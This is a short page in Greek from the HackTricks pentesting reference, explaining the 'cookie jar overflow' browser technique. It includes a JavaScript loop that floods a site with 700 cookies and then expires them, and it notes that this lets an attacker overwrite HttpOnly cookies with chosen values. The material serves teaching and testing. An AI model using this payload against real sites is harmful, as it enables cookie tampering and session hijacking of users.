Cookie Jar Overflow

Support HackTricks

Οι φυλλομετρητές έχουν ένα όριο στον αριθμό των cookies που μπορούν να αποθηκεύσουν για μια σελίδα. Έτσι, αν για κάποιο λόγο χρειαστεί να κάνετε ένα cookie να εξαφανιστεί, μπορείτε να υπερχείλετε το δοχείο cookie καθώς τα παλαιότερα θα διαγραφούν πρώτα:

// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}

Σημειώστε ότι τα cookies τρίτων που δείχνουν σε διαφορετικό τομέα δεν θα αντικατασταθούν.

Αυτή η επίθεση μπορεί επίσης να χρησιμοποιηθεί για να αντικαταστήσει τα HttpOnly cookies καθώς μπορείτε να το διαγράψετε και στη συνέχεια να το επαναφέρετε με την τιμή που θέλετε.

Ελέγξτε αυτό σε αυτή την ανάρτηση με ένα εργαστήριο.

Υποστήριξη HackTricks

Last updated